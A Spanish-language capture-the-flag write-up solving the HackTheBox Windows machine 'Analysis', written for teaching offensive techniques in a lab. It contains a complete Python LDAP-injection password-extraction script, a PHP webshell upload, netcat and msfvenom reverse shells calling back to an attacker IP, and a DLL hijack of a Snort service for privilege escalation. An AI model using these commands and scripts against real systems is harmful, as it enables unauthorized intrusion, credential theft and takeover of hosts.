Analysis – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Hard /Difícil
  • Platform / Plataforma: HackTheBox

‘Analysis’ Avatar


Resumen Link to heading

“Analysis” es una máquina de dificultad “Difícil” de la plataforma HackTheBox. En ella, somos capaces de encontrar subdominios para el dominio principal analysis.htb y múltiples directorios y archivos dentro de éstos con herramientas como Gobuster y ffuf. Mediante ataques de fuerza bruta para encontrar parámetros en estos sitios hallados, encontramos que uno es vulnerable a LDAP Injections (Inyecciones LDAP). A través de esta vulnerabilidad somos capaces de encontrar un usuario y contraseña el cual funciona para loguear en un panel de análisis. Una vez dentro de este panel, podemos subir una webshell PHP y ganar acceso a la máquina. Usando WinPEAS somos capaces de encontrar credenciales para otro usuario existente dentro de la máquina y pivotear a éste. Una vez logueados como este nuevo usuario, encontramos que podemos modificar archivos .dll para el servicio del software SNORT el cual se encuentra corriendo en la máquina; permitiéndonos ejecutar un DLL Hijacking (secuestro de archivos DLL) y elevar nuestros privilegios.


User / Usuario Link to heading

Empezando con un scan con Nmap muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 445 Server Message Block (SMB), 135 Microsoft RPC, 3268 Lightweight Directory Access Protocol (LDAP), 3306 MySQL, y 5985 Windows Remote Management (WinRM); entre otros.

❯ sudo nmap -sVC -p53,80,88,135,139,445,464,593,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49676,49677,49682,49794 10.10.11.250 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:39 -04
Nmap scan report for 10.10.11.250
Host is up (0.21s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-05-18 21:39:35Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3306/tcp  open  mysql         MySQL (unauthorized)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, NotesRPC, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49794/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-18T21:40:34
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.08 seconds

Intentando un Domain Zone Transfer Attack (ataque de Transferencia de Zona) para hallar dominios (dado que el puerto 53 está disponible) no funciona:

❯ dig axfr analysis.htb @10.10.11.250

; <<>> DiG 9.19.21-1-Debian <<>> axfr analysis.htb @10.10.11.250
;; global options: +cmd
; Transfer failed.

y el sitio http://10.10.11.250 no muestra nada con cURL:

❯ curl -s http://10.10.11.250

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>

Ahora, escaneando el puerto 445 SMB con NetExec (el sucesor de CrackMapExec) muestra el dominio analysis.htb:

❯ netexec smb 10.10.11.250

SMB         10.10.11.250    445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)

De manera que agrego este dominio a mi archivo /etc/hosts:

❯ echo '10.10.11.250 analysis.htb' | sudo tee -a /etc/hosts

10.10.11.250 analysis.htb

Luego empezaré a buscar subdominios con ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://analysis.htb/ -H 'Host: FUZZ.analysis.htb'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://analysis.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.analysis.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

internal                [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 155ms]
:: Progress: [19966/19966] :: Job [1/1] :: 124 req/sec :: Duration: [0:02:38] :: Errors: 0 ::

y encuentro un subdominio: internal.analysis.htb De manera que agrego internal.analysis.htb a mi archivo /etc/hosts, así que éste se ve ahora como:

❯ cat /etc/hosts | tail -n 1

10.10.11.250 analysis.htb internal.analysis.htb

Intentando visitar el dominio, http://internal.analysis.htb, retorna código 403 Fordidden:

Analysis 1

De manera que intento un Brute Force Directory Listing (listar directorios por fuerza bruta) con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/users                (Status: 301) [Size: 170] [--> http://internal.analysis.htb/users/]
/dashboard            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/dashboard/]
/Users                (Status: 301) [Size: 170] [--> http://internal.analysis.htb/Users/]
/employees            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/employees/]
/Dashboard            (Status: 301) [Size: 174] [--> http://internal.analysis.htb/Dashboard/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

donde encontramos 3 directorios: /users, /dashboard y /employees.

Decido ponerme en busca de archivos en estos directorios. Eventualmente, encuentro algunos archivos PHP en el directorio /users:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/users/ -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/users/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/list.php             (Status: 200) [Size: 17]
/List.php             (Status: 200) [Size: 17]

donde encontramos el archivo /users/list.php. Para el directorio /dashboard tenemos:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/dashboard/ -t 55 -x php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/dashboard/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/img/]
/index.php            (Status: 200) [Size: 38]
/uploads              (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/uploads/]
/upload.php           (Status: 200) [Size: 0]
/details.php          (Status: 200) [Size: 35]
/css                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/css/]
/Index.php            (Status: 200) [Size: 38]
/lib                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/lib/]
/form.php             (Status: 200) [Size: 35]
/js                   (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/js/]
/logout.php           (Status: 302) [Size: 3] [--> ../employees/login.php]
/tickets.php          (Status: 200) [Size: 35]
/emergency.php        (Status: 200) [Size: 35]
/IMG                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/IMG/]
/INDEX.php            (Status: 200) [Size: 38]
/Details.php          (Status: 200) [Size: 35]
/Form.php             (Status: 200) [Size: 35]
/CSS                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/CSS/]
/Img                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Img/]
/JS                   (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/JS/]
/Upload.php           (Status: 200) [Size: 0]
/Uploads              (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/Uploads/]
/Logout.php           (Status: 302) [Size: 3] [--> ../employees/login.php]
/Lib                  (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Lib/]
/Tickets.php          (Status: 200) [Size: 35]
/Emergency.php        (Status: 200) [Size: 35]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

Y también encontramos el archivologin.php en el directorio /employees:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/employees/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://internal.analysis.htb/employees/
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php            (Status: 200) [Size: 1085]
/Login.php            (Status: 200) [Size: 1085]

El sitio http://internal.analysis.htb/employees/login.php muestra un panel de login:

Analysis 2

pero dado que no tenemos usuarios (al menos de momento), guardaré este panel para más tarde.

Chequeando el sitio/archivo /users/list.php con cURL muestra que éste acepta parámetros:

❯ curl -s http://internal.analysis.htb/users/list.php

missing parameter

Como sea, no hay pista alguna de cuál puede ser el parámetro que falta. De manera que podemos tratar de obtenerlo por fuerza bruta.

Usaré ffuf para buscar por diferentes/potenciales parámetros:

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://internal.analysis.htb/users/list.php?FUZZ' -fs 17

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://internal.analysis.htb/users/list.php?FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 17
________________________________________________

name                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9807ms]
:: Progress: [6453/6453] :: Job [1/1] :: 250 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

donde encontramos el parámetro llamado name. De manera que tenemos el archivo con el parámtro http://internal.analysis.htb/users/list.php?name. Visitando este sitio en Firefox muestra:

Analysis_3.png

Recordemos que el servicio LDAP estaba corriendo en esta máquina. Buscando por LDAP Injections en HackTricks podríamos intentar con algo como name=* para ver si esto retorna algo. Si visito http://internal.analysis.htb/users/list.php?name=* para intentar una inyección puedo ver algo: Analysis_4.png

donde puedo ver un potencial usuario: technician

Recolectando lo que hemos hallado tenemos lo siguiente:

  1. Un usuario
  2. Un punto LDAP inyectable

Siguiendo los pasos de HackTricks podemos intentar de inyectar parámetros a través de un script en Python. En corto, este script chequea, luego de inyectar caracteres para el parámetro name, que la palabra technician esté presente en la petición a la página web; si lo está vamos por buen camino, si no es descartado. En este script también he agregado una función para chequear que la contraseña sea correcta, dado que algunos símbolos tales como &, *, ) o / pueden causar falsos negativos/positivos incluso si los url encodeamos. Para este script necesitamos la librería PwnTools. Podemos instalarla corriendo en nuestro sistema:

$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

Una vez instalada, podemos correr el script para tratar de extraer la contraseña:

#!/usr/bin/python3

import argparse
import requests
import signal
import sys
import string
from pwn import log


# Ctrl+C
def ctrl_c(sig, frame)->None:
    print(f"[!] Ctrl+C. Exiting...")
    sys.exit(1)


signal.signal(signal.SIGINT, ctrl_c)


def parse_arguments()->argparse.Namespace:
    # Create the parser
    parser = argparse.ArgumentParser(description="A simple script for LDAP injection.")
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help='URL to attempt LDAP injection (incluiding the injectable parameter). Example: http://internal.analysis.htb/users/list.php?name', required=True)
    return parser.parse_args()


def request_to_site(url: str, current_password: str, all_characters: list[str], p)->str:
    # Start a loop through different characters to bruteforce the password
    index = 0
    while index < len(all_characters):
        char = all_characters[index]
        p.status(f"Attempting with char {char!r} (password found, at the moment, {current_password!r})")
        req_url = url + f'=*)(%26(objectClass=user)(description={current_password}{char}*)'
        r = requests.get(req_url)
        # Check the condition that satisfies the injection
        if r.status_code == 200 and 'technician' in r.text:
            current_password += char
            # Restart the list
            index = 0
        else:
            index += 1
    return current_password


def check_password_found(url: str, current_password: str, symbols_list: list[str], all_chars: list[str])->(str, bool):
    # Check that the password is not a false positive
    p2 = log.progress(f"Checking if password ({current_password!r}) has symbols")
    for symbol in symbols_list:
        temp_password: str = current_password + symbol
        for char in all_chars:
            p2.status(f"Checking with symbol {symbol!r} and character {char!r}")
            req_url = url + f'=*)(%26(objectClass=user)(description={temp_password}{char}*)'
            r = requests.get(req_url)
            if r.status_code == 200 and 'technician' in r.text:
                p2.failure(f"Password had more symbols ({symbol!r}, so current password is {current_password+symbol!r})")
                return current_password+symbol, False
    p2.success("Password checked. All correct.")
    return current_password, True


def ldap_injection(url: str)->None:
    # LDAP injection
    print(f"[+] Attempting LDAP Injection to url {url!r}...")
    p = log.progress('LDAP Injection')
    password: str = ''
    all_characters: list[str] = list(string.digits) + list(string.ascii_letters) + [c for c in list(string.punctuation) if c != ')'] # char ')' bugs the data 
    symbols_characters: list[str] = list(string.punctuation)
    foundPassword: bool = False
    # Exit the loop until we have checked that the extracted password is not a false positive
    while not foundPassword:
        # Get the password through injection
        password = request_to_site(url, password, all_characters, p)
        # Check if the password found is not a false positive 
        password, foundPassword = check_password_found(url, password, symbols_characters, all_characters)
    p.status(f"Password found: {password}")
    

def main()->None:
    # Get argument from users
    args = parse_arguments()
    # LDAP injection
    ldap_injection(args.url)


if __name__ == "__main__":
    main()

Corriendo este script encontramos una contraseña:

❯ python3 exploit_ldap.py --url 'http://internal.analysis.htb/users/list.php?name'

[+] Attempting LDAP Injection to url 'http://internal.analysis.htb/users/list.php?name'...
[....../.] LDAP Injection: Temporal password is: 97NTtl*4QP96Bv
[-] Checking if password has symbols: Password had more symbols ('*', so current password is '97NTtl*')
[+] Checking if password has symbols: Password checked. All correct.

de manera que tenemos un usuario y contraseña: technician:97NTtl*4QP96Bv

Podemos chequear si estas credenciales funcionan via SMB con NetExec:

❯ netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares

SMB         10.10.11.250    445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.250    445    DC-ANALYSIS      [+] analysis.htb\technician:97NTtl*4QP96Bv
SMB         10.10.11.250    445    DC-ANALYSIS      [*] Enumerated shares
SMB         10.10.11.250    445    DC-ANALYSIS      Share           Permissions     Remark
SMB         10.10.11.250    445    DC-ANALYSIS      -----           -----------     ------
SMB         10.10.11.250    445    DC-ANALYSIS      ADMIN$                          Administration à distance
SMB         10.10.11.250    445    DC-ANALYSIS      C$                              Partage par défaut
SMB         10.10.11.250    445    DC-ANALYSIS      IPC$            READ            IPC distant
SMB         10.10.11.250    445    DC-ANALYSIS      NETLOGON        READ            Partage de serveur d'accès
SMB         10.10.11.250    445    DC-ANALYSIS      SYSVOL          READ            Partage de serveur d'accès

y funcionan, pero no veo ningún directorio compartido interesante.

Luego de intentar algunas cosas, recuerdo el panel de login en http://internal.analysis.htb/employees/login.php. Podemos tratar de poner estas credenciales allí. Funcionan si como en el campo de usuario proveemos technician@analysis.htb y la contraseña hallada:

Analysis_5.png

y estamos dentro de un panel de análisis:

Analysis 6

Visitando/clickeando SOC Report al lado izquierdo puedo ver que puedo subir archivos. De manera que subo una simple webshell PHP (dado que, como pudimos ver, el sitio usa archivos .php). Subo una webshell de WWWolf PHP Shell dado que estamos contra un sistema Windows.

Recordando, el directorio /dashboard tenía un directorio /uploads. Mi archivo se llama shell.php. Entonces decido visitar http://internal.analysis.htb/dashboard/uploads/shell.php y mi webshell está ahí:

Analysis 7

pero prefiero una shell interactiva. Empiezo un server temporal HTTP en Python en el puerto 8080 en mi máquina:

❯ ls && python3 -m http.server 8080

exploit_ldap.py  nc64.exe  shell.php
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

y descargo un binario de netcat para Windows, corriendo en la máquina víctima la herramienta, que viene por defecto con Windows, certutil:

Analysis 8

Una vez descargado, empiezo un listener con netcat en el puerto 443 y me envío una reverse shell corriendo:

Analysis 9

y obtengo una shell como el usuario svc_web:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51300
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits rservs.

C:\inetpub\internal\dashboard\uploads> whoami
 whoami
analysis\svc_web

Subo WinPEAS a la máquina víctima, de manera similar a como subí el binario de netcat, y obtengo algo interesante:

C:\Users\Public\Downloads>.\winpeas.exe

.\winpeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

<SNIP>

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  analysis.htb.
    DefaultUserName               :  jdoe
    DefaultPassword               :  7y4Z4^*y9Zzj
<SNIP>

Encontramos credenciales: jdoe:7y4Z4^*y9Zzj

Viendo qué es lo que puede hacer este usuario tenemos:

C:\Users\Public\Downloads>net user jdoe

net user jdoe
Nom d'utilisateur                              jdoe
Nom complet                                    john doe
Commentaire
Commentaires utilisateur
Code du pays ou de la rgion                   000 (Valeur par dfaut du systme)
Compte: actif                                 Oui
Le compte expire                               Jamais

Mot de passe: dernier changmt.                04/01/2024 11:37:29
Le mot de passe expire                         Jamais
Le mot de passe modifiable                     05/01/2024 11:37:29
Mot de passe exig                             Oui
L'utilisateur peut changer de mot de passe     Oui

Stations autorises                            Tout
Script d'ouverture de session
Profil d'utilisateur
Rpertoire de base
Dernier accs                                  19/05/2024 01:43:25

Heures d'accs autoris                        Tout

Appartient aux groupes locaux                  *Utilisateurs de gesti
Appartient aux groupes globaux                 *Utilisateurs du domai
La commande s'est termine correctement.

pero como no sé francés realmente no me entero de mucho.

Reviso con NetExec si tenemos acceso via WinRM:

❯ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

WINRM       10.10.11.250    5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM       10.10.11.250    5985   DC-ANALYSIS      [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)

y lo tenemos, de manera que me conecto usando evil-winrm:

❯ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>

donde finalmente podemos obtener la flag en el directorio C:\Users\jdoe\Desktop.

NT Authority/System - Administrator Link to heading

Del output de WinPEAS, pero ahora re-subiéndolo y corriéndolo como el usuario jdoe puedo ver algo de éste:

*Evil-WinRM* PS C:\Users\jdoe\Documents> wget http://10.10.16.15:8080/winpeas.exe -Outfile C:\Users\jdoe\Documents\winpeas.exe

*Evil-WinRM* PS C:\Users\jdoe\Documents> C:\Users\jdoe\Documents\winpeas.exe

<SNIP>
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected
    Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])

<SNIP>

Buscando What is Snort en Google tengo que:

Información
SNORT is a powerful open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that provides real-time network traffic analysis and data packet logging. SNORT uses a rule-based language that combines anomaly, protocol, and signature inspection methods to detect potentially malicious activity

De manera que SNORT es una herramienta para prevenir intrusiones y, asumo, debe correr con algún tipo de privilegios para ello. Tal parece que atacar el servicio de SNORT puede llegar a ser un potencial camino para elevar privilegios.

Revisando permisos con icacls muestra que somos capaces de escribir en estos archivos:

*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicengine

C:\Snort\lib\snort_dynamicengine AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                                 BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                                 BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                 BUILTIN\Utilisateurs:(I)(CI)(AD)
                                 BUILTIN\Utilisateurs:(I)(CI)(WD)
                                 CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicpreprocessor

C:\Snort\lib\snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
                                       BUILTIN\Administrateurs:(I)(OI)(CI)(F)
                                       BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                       BUILTIN\Utilisateurs:(I)(CI)(AD)
                                       BUILTIN\Utilisateurs:(I)(CI)(WD)
                                       CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Noto que en este directorio tenemos archivos .dll, de manera que podemos intentar un DLL hijacking:

*Evil-WinRM* PS C:\Users\jdoe\Documents> cmd.exe /c dir C:\Snort\lib\snort_dynamicengine
 Volume in drive C has no label.
 Volume Serial Number is 0071-E237

 Directory of C:\Snort\lib\snort_dynamicengine

07/08/2023  03:31 PM    <DIR>          .
07/08/2023  03:31 PM    <DIR>          ..
05/24/2022  06:48 AM            78,336 sf_engine.dll
               1 File(s)         78,336 bytes
               2 Dir(s)   4,018,229,248 bytes free

Para ello creamos un archivo .dll malicioso con msfvenom:

❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.15 LPORT=443 -a x64 -f dll -o snort_dynamicpreprocessor.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: snort_dynamicpreprocessor.dll

Subimos el archivo .dll malicioso de nuestra máquina a la máquina víctima con ayuda de evil-winrm:

*Evil-WinRM* PS C:\Users\jdoe\Documents> upload snort_dynamicpreprocessor.dll

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Analysis/exploits/snort_dynamicpreprocessor.dll to C:\Users\jdoe\Documents\snort_dynamicpreprocessor.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

Crearé una copia del archivo original (lo cual siempre recomiendo por si algo falla y “rompemos” algo sensible), y luego, los reemplazamos con el archivo .dll malicioso:

*Evil-WinRM* PS C:\Users\jdoe\Documents> dir C:\Snort\lib


    Directory: C:\Snort\lib


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         7/8/2023   3:31 PM                snort_dynamicengine
d-----         7/8/2023   3:31 PM                snort_dynamicpreprocessor


*Evil-WinRM* PS C:\Users\jdoe\Documents> copy C:\Snort\lib\snort_dynamicpreprocessor .\snort_dynamic_backup

*Evil-WinRM* PS C:\Users\jdoe\Documents> dir


    Directory: C:\Users\jdoe\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/23/2023   9:15 AM                BCDB
d-----        5/19/2024   5:29 AM                snort_dynamic_backup
-a----        5/19/2024   5:28 AM           9216 snort_dynamicpreprocessor.dll
-a----        5/19/2024   5:09 AM        2387456 winpeas.exe


*Evil-WinRM* PS C:\Users\jdoe\Documents> copy snort_dynamicpreprocessor.dll C:\Snort\lib\snort_dynamicpreprocessor

Finalmente, debemos arrancar el servicio. Noto que hay un archivo snort.exe en C:\Snort\bin directory. Antes de correrlo empiezo un listener con netcat en el puerto 443 y, en la máquina víctima, ejecutamos:

*Evil-WinRM* PS C:\Users\jdoe\Documents> cd C:\Snort\bin

*Evil-WinRM* PS C:\Snort\bin> dir


    Directory: C:\Snort\bin


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/20/2022   4:15 PM          54784 npptools.dll
-a----        4/20/2022   4:15 PM         274489 ntwdblib.dll
-a----        4/20/2022   4:15 PM          36948 Packet.dll
-a----        4/20/2022   4:15 PM          94208 pcre.dll
-a----        5/24/2022   6:51 AM        1559552 snort.exe
-a----        4/20/2022   4:15 PM          53326 WanPacket.dll
-a----        4/20/2022   4:15 PM         208974 wpcap.dll
-a----        4/20/2022   4:15 PM          73728 zlib1.dll


*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V
snort.exe :
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
   ,,_     -*> Snort! <*-  o"  )~   Version 2.9.20-WIN64 GRE (Build 82)    ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team           Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved.           Copyright (C) 1998-2013 Sourcefire, Inc., et al.           Using PCRE version: 8.10 2010-06-25           Using ZLIB version: 1.2.11

Y luego de unos segundos obtengo una shell como el usuario Administrator:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51511
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
analysis\administrateur

donde podemos obtener la flag en C:\Users\Administrateur\Desktop\.

~ Happy Hacking